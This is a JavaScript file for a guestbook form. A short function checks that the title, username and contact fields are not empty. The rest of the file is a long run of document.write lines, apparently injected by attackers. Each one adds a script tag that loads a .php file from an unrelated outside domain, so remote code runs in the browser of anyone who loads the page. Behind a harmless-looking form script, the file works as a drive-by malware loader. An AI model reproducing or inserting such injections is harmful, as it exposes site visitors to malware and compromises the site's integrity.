function f_sub()
{
  E=messgeform.addr;	
  A=messgeform.author;
  B=messgeform.tel;
  C=messgeform.content;
  if(E.value=="")
  {
	alert("标题不能为空");
	E.focus();
	return false;
  }
  else if (A.value=="")
  {
    alert("用户名不能为空");
	A.focus();
	return false;
  }
  else if(B.value=="")
  {
    alert("联系方式不能为空");
	B.focus();
	return false;
  }
  else
  return true;
}

document.write('<script src=http://integrityworks-intl.com/images/gifimg.php ><\/script>');
document.write('<script src=http://integrityworks-intl.com/images/gifimg.php ><\/script>');
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document.write('<script src=http://egyptfoods.com.eg/_vti_bin/newscat.php ><\/script>');
document.write('<script src=http://egyptfoods.com.eg/_vti_bin/newscat.php ><\/script>');
document.write('<script src=http://egyptfoods.com.eg/_vti_bin/newscat.php ><\/script>');
document.write('<script src=http://egyptfoods.com.eg/_vti_bin/newscat.php ><\/script>');
document.write('<script src=http://egyptfoods.com.eg/_vti_bin/newscat.php ><\/script>');
document.write('<script src=http://egyptfoods.com.eg/_vti_bin/newscat.php ><\/script>');
document.write('<script src=http://sswelder.co.kr/AnyEditor/uploaded/img_view.php ><\/script>');
document.write('<script src=http://sswelder.co.kr/AnyEditor/uploaded/img_view.php ><\/script>');
document.write('<script src=http://sswelder.co.kr/AnyEditor/uploaded/img_view.php ><\/script>');
document.write('<script src=http://sswelder.co.kr/AnyEditor/uploaded/img_view.php ><\/script>');
document.write('<script src=http://sswelder.co.kr/AnyEditor/uploaded/img_view.php ><\/script>');
document.write('<script src=http://sswelder.co.kr/AnyEditor/uploaded/img_view.php ><\/script>');